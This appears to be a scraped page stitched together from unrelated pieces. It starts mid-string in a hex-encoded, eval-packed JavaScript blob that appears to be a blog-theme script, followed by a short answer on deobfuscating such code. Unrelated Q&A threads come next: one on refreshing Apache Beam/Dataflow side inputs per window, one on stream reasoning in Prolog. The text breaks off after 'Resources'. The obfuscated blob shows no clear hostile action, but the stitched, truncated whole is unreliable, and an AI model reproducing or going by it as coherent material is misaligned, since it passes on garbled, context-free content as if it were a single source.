28\x34\x29\x2E\x4D\x28\x22\x2E\x4F\x22\x29\x2E\x6B\x28\x22\x2E\x32\x6B\x22\x29\x2E\x33\x43\x28\x22\x45\x22\x29\x7D\x29\x2C\x35\x28\x22\x2E\x4F\x20\x2E\x31\x6F\x22\x29\x2E\x42\x28\x36\x28\x29\x7B\x6A\x3D\x35\x28\x34\x29\x2E\x67\x28\x22\x33\x44\x22\x29\x2C\x78\x3D\x35\x28\x34\x29\x2E\x4D\x28\x22\x78\x22\x29\x2C\x35\x28\x27\x3C\x57\x20\x6D\x3D\x22\x5A\x22\x3E\x28\x33\x45\x29\x3C\x2F\x57\x3E\x27\x29\x2E\x33\x46\x28\x78\x29\x7D\x29\x2C\x35\x28\x22\x2E\x4F\x20\x2E\x31\x6F\x22\x29\x2E\x33\x47\x28\x36\x28\x29\x7B\x22\x22\x21\x3D\x35\x28\x34\x29\x2E\x54\x28\x29\x26\x26\x28\x35\x28\x34\x29\x2E\x70\x28\x22\x59\x22\x29\x2C\x35\x28\x34\x29\x2E\x4D\x28\x22\x78\x22\x29\x2E\x6B\x28\x22\x2E\x5A\x22\x29\x2E\x70\x28\x22\x4E\x22\x29\x29\x7D\x29\x2C\x35\x28\x22\x2E\x4F\x20\x33\x48\x22\x29\x2E\x33\x49\x28\x36\x28\x29\x7B\x35\x28\x34\x29\x2E\x70\x28\x22\x59\x22\x29\x2C\x35\x28\x34\x29\x2E\x4D\x28\x22\x78\x22\x29\x2E\x6B\x28\x22\x2E\x5A\x22\x29\x2E\x70\x28\x22\x4E\x22\x29\x7D\x29\x7D\x2C\x21\x31\x29\x2C\x35\x28\x22\x2E\x4F\x20\x2E\x32\x6B\x22\x29\x2E\x44\x28\x22\x45\x22\x2C\x36\x28\x29\x7B\x4B\x20\x32\x64\x28\x35\x28\x34\x29\x2E\x4D\x28\x22\x2E\x33\x4A\x22\x29\x2E\x67\x28\x22\x31\x77\x22\x29\x29\x2C\x21\x31\x7D\x29\x2C\x24\x28\x41\x29\x2E\x44\x28\x22\x45\x22\x2C\x22\x2E\x31\x61\x2D\x31\x43\x22\x2C\x36\x28\x29\x7B\x24\x28\x22\x23\x31\x71\x2D\x31\x43\x22\x29\x2E\x71\x28\x22\x32\x6C\x22\x29\x2E\x70\x28\x22\x4E\x22\x29\x7D\x29\x2C\x24\x28\x41\x29\x2E\x44\x28\x22\x45\x22\x2C\x22\x2E\x33\x4B\x2D\x33\x4C\x22\x2C\x36\x28\x29\x7B\x24\x28\x22\x23\x31\x71\x2D\x31\x43\x22\x29\x2E\x71\x28\x22\x4E\x22\x29\x2E\x70\x28\x22\x32\x6C\x22\x29\x7D\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x7C\x7C\x74\x68\x69\x73\x7C\x6A\x51\x75\x65\x72\x79\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x66\x65\x65\x64\x7C\x65\x6E\x74\x72\x79\x7C\x7C\x64\x69\x76\x7C\x7C\x7C\x7C\x7C\x61\x74\x74\x72\x7C\x7C\x7C\x74\x69\x74\x6C\x65\x7C\x66\x69\x6E\x64\x7C\x7C\x63\x6C\x61\x73\x73\x7C\x7C\x7C\x72\x65\x6D\x6F\x76\x65\x43\x6C\x61\x73\x73\x7C\x61\x64\x64\x43\x6C\x61\x73\x73\x7C\x7C\x7C\x7C\x7C\x69\x6D\x67\x7C\x6E\x6F\x7C\x6C\x61\x62\x65\x6C\x7C\x7C\x68\x72\x65\x66\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x65\x61\x63\x68\x7C\x69\x66\x7C\x6F\x6E\x7C\x63\x6C\x69\x63\x6B\x7C\x68\x65\x61\x64\x65\x72\x7C\x66\x69\x78\x65\x64\x7C\x72\x65\x63\x65\x6E\x74\x7C\x63\x6F\x6E\x74\x65\x6E\x74\x7C\x64\x65\x66\x61\x75\x6C\x74\x7C\x72\x65\x74\x75\x72\x6E\x7C\x72\x65\x6C\x61\x74\x65\x64\x7C\x70\x61\x72\x65\x6E\x74\x73\x7C\x73\x68\x6F\x77\x7C\x66\x6F\x72\x6D\x57\x41\x7C\x73\x69\x64\x65\x62\x61\x72\x7C\x6C\x69\x6E\x6B\x7C\x72\x65\x70\x6C\x61\x63\x65\x7C\x6A\x70\x67\x7C\x76\x61\x6C\x7C\x41\x4D\x7C\x73\x63\x72\x6F\x6C\x6C\x7C\x73\x70\x61\x6E\x7C\x74\x65\x78\x74\x7C\x66\x6F\x63\x75\x73\x7C\x76\x61\x6C\x69\x64\x61\x73\x69\x7C\x7C\x63\x6F\x6E\x73\x6F\x6C\x65\x7C\x7C\x7C\x6C\x6F\x67\x7C\x54\x68\x65\x7C\x74\x69\x6D\x65\x7C\x69\x73\x7C\x50\x4D\x7C\x6D\x65\x6E\x75\x7C\x63\x6C\x6F\x73\x65\x7C\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70\x7C\x75\x72\x6C\x7C\x70\x6F\x73\x74\x73\x7C\x61\x6C\x74\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x68\x74\x6D\x6C\x7C\x69\x6E\x64\x65\x78\x4F\x66\x7C\x65\x6C\x73\x65\x7C\x73\x72\x63\x7C\x6C\x69\x7C\x68\x33\x7C\x73\x74\x79\x6C\x65\x7C\x77\x61\x6A\x69\x62\x7C\x74\x72\x69\x6D\x7C\x77\x68\x61\x74\x73\x61\x70\x70\x7C\x63\x6C\x6F\x63\x6B\x7C\x6E\x6F\x5F\x69\x6D\x61\x67\x65\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x64\x61\x74\x61\x7C\x70\x61\x72\x65\x6E\x74\x7C\x69\x64\x7C\x74\x79\x70\x65\x7C\x63\x6F\x6D\x7C\x6D\x71\x64\x65\x66\x61\x75\x6C\x74\x7C\x73\x37\x32\x7C\x73\x31\x36\x30\x30\x7C\x63\x68\x61\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C\x7C\x6F\x70\x65\x6E\x7C\x68\x74\x74\x70\x73\x7C\x63\x73\x73\x7C\x70\x6F\x73\x69\x74\x69\x6F\x6E\x7C\x73\x74\x69\x63\x6B\x79\x7C\x67\x6F\x6F\x6D\x7C\x48\x54\x4D\x4C\x7C\x77\x69\x64\x67\x65\x74\x7C\x61\x6A\x61\x78\x7C\x66\x65\x65\x64\x73\x7C\x6A\x73\x6F\x6E\x7C\x69\x6E\x7C\x73\x63\x72\x69\x70\x74\x7C\x6D\x61\x78\x7C\x72\x65\x73\x75\x6C\x74\x73\x7C\x67\x65\x74\x7C\x64\x61\x74\x61\x54\x79\x70\x65\x7C\x6A\x73\x6F\x6E\x70\x7C\x73\x75\x63\x63\x65\x73\x73\x7C\x75\x6C\x7C\x61\x6C\x74\x65\x72\x6E\x61\x74\x65\x7C\x72\x65\x6C\x7C\x62\x72\x65\x61\x6B\x7C\x63\x61\x74\x65\x67\x6F\x72\x79\x7C\x74\x65\x72\x6D\x7C\x7C\x77\x77\x77\x7C\x79\x6F\x75\x74\x75\x62\x65\x7C\x65\x6D\x62\x65\x64\x7C\x6D\x65\x64\x69\x61\x7C\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x7C\x66\x69\x72\x73\x74\x7C\x72\x6D\x67\x7C\x63\x6C\x72\x7C\x6B\x69\x72\x69\x6D\x57\x41\x7C\x73\x65\x6E\x64\x7C\x30\x41\x7C\x4E\x75\x6D\x62\x65\x72\x7C\x73\x63\x72\x65\x65\x6E\x7C\x77\x69\x64\x74\x68\x7C\x68\x65\x69\x67\x68\x74\x7C\x73\x75\x62\x6D\x69\x74\x7C\x68\x69\x64\x65\x7C\x6E\x65\x77\x7C\x44\x61\x74\x65\x7C\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73\x7C\x67\x65\x74\x53\x65\x63\x6F\x6E\x64\x73\x7C\x67\x65\x74\x48\x6F\x75\x72\x73\x7C\x68\x6F\x75\x72\x73\x7C\x6D\x69\x6E\x75\x74\x65\x73\x7C\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x31\x65\x33\x7C\x67\x6F\x6F\x6D\x73\x69\x74\x65\x7C\x67\x69\x74\x68\x75\x62\x7C\x69\x6F\x7C\x6E\x6F\x6E\x7C\x77\x65\x62\x70\x7C\x6D\x6F\x6E\x74\x68\x5F\x66\x6F\x72\x6D\x61\x74\x7C\x4A\x61\x6E\x7C\x46\x65\x62\x7C\x4D\x61\x72\x7C\x41\x70\x72\x7C\x4D\x61\x79\x7C\x4A\x75\x6E\x7C\x4A\x75\x6C\x7C\x41\x75\x67\x7C\x53\x65\x70\x74\x7C\x4F\x63\x74\x7C\x4E\x6F\x76\x7C\x44\x65\x63\x7C\x6F\x75\x74\x65\x72\x48\x65\x69\x67\x68\x74\x7C\x35\x30\x7C\x6D\x61\x74\x63\x68\x7C\x74\x61\x67\x7C\x69\x63\x6F\x6E\x7C\x73\x65\x61\x72\x63\x68\x7C\x77\x72\x61\x70\x7C\x61\x75\x74\x68\x6F\x72\x7C\x6E\x61\x6D\x65\x7C\x76\x6F\x69\x64\x7C\x77\x65\x62\x7C\x41\x6E\x64\x72\x6F\x69\x64\x7C\x77\x65\x62\x4F\x53\x7C\x69\x50\x68\x6F\x6E\x65\x7C\x69\x50\x61\x64\x7C\x69\x50\x6F\x64\x7C\x42\x6C\x61\x63\x6B\x42\x65\x72\x72\x79\x7C\x49\x45\x4D\x6F\x62\x69\x6C\x65\x7C\x4F\x70\x65\x72\x61\x7C\x4D\x69\x6E\x69\x7C\x74\x65\x73\x74\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x6B\x6F\x6E\x73\x75\x6C\x74\x61\x73\x69\x7C\x36\x32\x7C\x38\x31\x32\x34\x31\x31\x30\x35\x36\x35\x38\x7C\x41\x64\x6D\x69\x6E\x7C\x48\x65\x6C\x6C\x6F\x7C\x70\x65\x73\x61\x6E\x7C\x70\x68\x6F\x6E\x65\x7C\x39\x36\x30\x7C\x35\x34\x30\x7C\x74\x6F\x6F\x6C\x62\x61\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x7C\x73\x74\x61\x74\x75\x73\x7C\x6D\x65\x6E\x75\x62\x61\x72\x7C\x73\x63\x72\x6F\x6C\x6C\x62\x61\x72\x73\x7C\x79\x65\x73\x7C\x72\x65\x73\x69\x7A\x61\x62\x6C\x65\x7C\x63\x6F\x70\x79\x68\x69\x73\x74\x6F\x72\x79\x7C\x74\x6F\x70\x7C\x6C\x65\x66\x74\x7C\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x7C\x6C\x6F\x61\x64\x7C\x77\x61\x46\x69\x78\x7C\x69\x6E\x70\x75\x74\x7C\x74\x65\x78\x74\x61\x72\x65\x61\x7C\x6B\x65\x79\x70\x72\x65\x73\x73\x7C\x65\x76\x65\x6E\x74\x7C\x6B\x65\x79\x43\x6F\x64\x65\x7C\x74\x72\x69\x67\x67\x65\x72\x7C\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x7C\x52\x65\x71\x75\x69\x72\x65\x64\x7C\x61\x70\x70\x65\x6E\x64\x54\x6F\x7C\x6B\x65\x79\x75\x70\x7C\x73\x65\x6C\x65\x63\x74\x7C\x63\x68\x61\x6E\x67\x65\x7C\x70\x6F\x70\x74\x61\x6D\x76\x7C\x6E\x61\x62\x69\x6C\x7C\x6C\x69\x76\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function(_0x5c3dx1,_0x5c3dx2,_0x5c3dx3,_0x5c3dx4,_0x5c3dx5,_0x5c3dx6){_0x5c3dx5= function(_0x5c3dx3){return (_0x5c3dx3< _0x5c3dx2?_0xc3f1[4]:_0x5c3dx5(parseInt(_0x5c3dx3/ _0x5c3dx2)))+ ((_0x5c3dx3= _0x5c3dx3% _0x5c3dx2)> 35?String[_0xc3f1[5]](_0x5c3dx3+ 29):_0x5c3dx3.toString(36))};if(!_0xc3f1[4][_0xc3f1[6]](/^/,String)){while(_0x5c3dx3--){_0x5c3dx6[_0x5c3dx5(_0x5c3dx3)]= _0x5c3dx4[_0x5c3dx3]|| _0x5c3dx5(_0x5c3dx3)};_0x5c3dx4= [function(_0x5c3dx5){return _0x5c3dx6[_0x5c3dx5]}];_0x5c3dx5= function(){return _0xc3f1[7]};_0x5c3dx3= 1};while(_0x5c3dx3--){if(_0x5c3dx4[_0x5c3dx3]){_0x5c3dx1= _0x5c3dx1[_0xc3f1[6]]( new RegExp(_0xc3f1[8]+ _0x5c3dx5(_0x5c3dx3)+ _0xc3f1[8],_0xc3f1[9]),_0x5c3dx4[_0x5c3dx3])}};return _0x5c3dx1}(_0xc3f1[0],62,234,_0xc3f1[3][_0xc3f1[2]](_0xc3f1[1]),0,{}))
That code is encrypted.
You can check _0xc3f1 contents with console.log, however there is some decryting part after _0xc3f1 definition that need to be executed step by step and will regenerate the code inside a inner function, so if you change that decrypting part you can get the code, specially if you check the eval part.
You will need some time, javascript programming and debugging skills.

Can Dataflow sideInput be updated per window by reading a gcs bucket?

I’m currently creating a PCollectionView by reading filtering information from a gcs bucket and passing it as side input to different stages of my pipeline in order to filter the output. If the file in the gcs bucket changes, I want the currently running pipeline to use this new filter info. Is there a way to update this PCollectionView on each new window of data if my filter changes? I thought I could do it in a startBundle but I can’t figure out how or if it’s possible. Could you give an example if it is possible.
PCollectionView<Map<String, TagObject>>
tagMapView =
pipeline.apply(TextIO.Read.named("TagListTextRead")
.from("gs://tag-list-bucket/tag-list.json"))
.apply(ParDo.named("TagsToTagMap").of(new Tags.BuildTagListMapFn()))
.apply("MakeTagMapView", View.asSingleton());
PCollection<String>
windowedData =
pipeline.apply(PubsubIO.Read.topic("myTopic"))
.apply(Window.<String>into(
SlidingWindows.of(Duration.standardMinutes(15))
.every(Duration.standardSeconds(31))));
PCollection<MY_DATA>
lineData = windowedData
.apply(ParDo.named("ExtractJsonObject")
.withSideInputs(tagMapView)
.of(new ExtractJsonObjectFn()));
You probably want something like "use an at most a 1-minute-old version of the filter as a side input" (since in theory the file can change frequently, unpredictably, and independently from your pipeline - so there's no way really to completely synchronize changes of the file with the behavior of the pipeline).
Here's a (granted, rather clumsy) solution I was able to come up with. It relies on the fact that side inputs are implicitly also keyed by window. In this solution we're going to create a side input windowed into 1-minute fixed windows, where each window will contain a single value of the tag map, derived from the filter file as-of some moment inside that window.
PCollection<Long> ticks = p
// Produce 1 "tick" per second
.apply(CountingInput.unbounded().withRate(1, Duration.standardSeconds(1)))
// Window the ticks into 1-minute windows
.apply(Window.into(FixedWindows.of(Duration.standardMinutes(1))))
// Use an arbitrary per-window combiner to reduce to 1 element per window
.apply(Count.globally());
// Produce a collection of tag maps, 1 per each 1-minute window
PCollectionView<TagMap> tagMapView = ticks
.apply(MapElements.via((Long ignored) -> {
... manually read the json file as a TagMap ...
}))
.apply(View.asSingleton());
This pattern (joining against slowly changing external data as a side input) is coming up repeatedly, and the solution I'm proposing here is far from perfect, I wish we had better support for this in the programming model. I've filed a BEAM JIRA issue to track this.

Stream reasoning / Reactive programming in prolog?

I was wondering if you know of any way to use prolog for stream processing, that is, some kind of reactive programming, or at least to let a query run on a knowledge base that is continuously updated (effectively a stream), and continuously output the output of the reasoning?
Anything implemented in the popular "prologs", such as SWI-prolog?
You can use Logtalk's support for event-driven programming to define monitors that watch for knowledge base update events and react accordingly. You can run Logtalk using most Prolog systems as the backed compiler, including SWI-Prolog.
The event-driven features are described e.g. in the user manual:
http://logtalk.org/manuals/userman/events.html
The current distribution contains some examples of using events and monitors. An interesting one considering your question is the bricks example:
https://github.com/LogtalkDotOrg/logtalk3/tree/master/examples/bricks
Running this example first and then looking at its code should give you as good idea of what you can do with system wide events and monitors.
XSB has stream processing capabilities. See page 14 in the
XSB Manual
I'm working on something related, in project pqConsole already there is the basic capability: report to the user structured data, containing actionable areas (links) that call back in Prolog current state, hence the possibility to expose actions and react appropriately (hopefully).
It's strictly related to pqConsole::win_write_html, showcasing recent Qt capabilities of SWI-Prolog.
Here an example of a snippet producing only a simple formatted report, I'll try now to add the reactive part, so you can evaluate if you find expressive this basic system. Hints are welcome...
/* File: win_html_write_test.pl
Author: Carlo,,,
Created: Aug 27 2013
Purpose: example usage win_html_write/1
*/
:- module(win_html_write_test,
[dir2list/1
]).
:- [library(http/html_write)].
:- [library(dirtree)].
dir2list(Path) :-
dirtree(Path, DirTree),
% sortree(compare_by_attr(name), DirTree, Sorted), !,
DirTree = Sorted,
phrase(html([\css,
\logo,
hr([]),
ul(\dirtree2html(Sorted, [])),
br([])]), Tokens),
with_output_to(atom(X), print_html(Tokens)),
win_html_write(X),
dump_page_to_debug(X).
css --> html(style(type='text/css',
['.size{color:blue;}'
])).
logo --> html(img([src=':/swipl.png'],[])).
dirtree2html(element(dir, A, S), Parents) -->
html(li([\elem2html(A),
ul(\elements2html(S, [A|Parents]))])).
dirtree2html(element(file, A, []), _Parents) -->
html(li(\elem2html(A))).
elem2html(A) -->
{memberchk(name=N, A),
memberchk(size=S, A)
},
html([span([class=name], N), ' : ', span([class=size], S)]).
elements2html([E|Es], Parents) -->
dirtree2html(E, Parents),
elements2html(Es, Parents).
elements2html([], _Parents) --> [].
dump_page_to_debug(X) :-
open('page_to_debug.html', write, S),
format(S, '<html>~n~s~n</html>~n', [X]),
close(S).
This snippet depends on dirtree, that should be installed with
?- pack_install(dirtree).
edit With 3 modifications now the report has the ability to invoke editing of files:
call to get paths in structure
dir2list(Path) :-
dirtree(Path, DirTreeT),
assign_path(DirTreeT, DirTree),
...
request a specialized output for files only
dirtree2html(element(file, A, []), _Parents) -->
html(li(\file2html(A))).
finally, the 'handler' - here just place a request to invoke the editor
file2html(A) -->
{memberchk(name=N, A),
memberchk(path=P, A),
memberchk(size=S, A)
},
html([span([class=name],
[a([href='writeln(editing(\'~s\')), edit(\'~s\')'-[N,P]], N)]
), ' : ', span([class=size], S)]).
and now the file names are clickable, write a message and get edited if requested: a picture
You should check out RTEC: Run-Time Event Calculus:
https://github.com/aartikis/RTEC
RTEC is an open-source Event Calculus dialect optimised for stream reasoning. It is written in Prolog and has been tested under YAP 6.2.
Feature highlights:
Interval-based.
Sliding window reasoning.
Interval manipulation constructs for non-inertial fluents.
Caching for hierarchical knowledge bases.
Support for out-of-order data streams.
Indexing for handling efficiently irrelevant data.
There is also a mention of it on the SWI-Prolog website:
https://www.swi-prolog.org/pack/file_details/prologmud_I7/prolog/ec_planner/RTEC/README.md
which presumably relies on:
https://www.swi-prolog.org/pldoc/doc/_SWI_/library/dialect/yap.pl
I don't know why this hasn't been brought up so far, but in SWI-Prolog there is prolog_listen, which can, amongst other things, monitor dynamic updates to the database:

Resources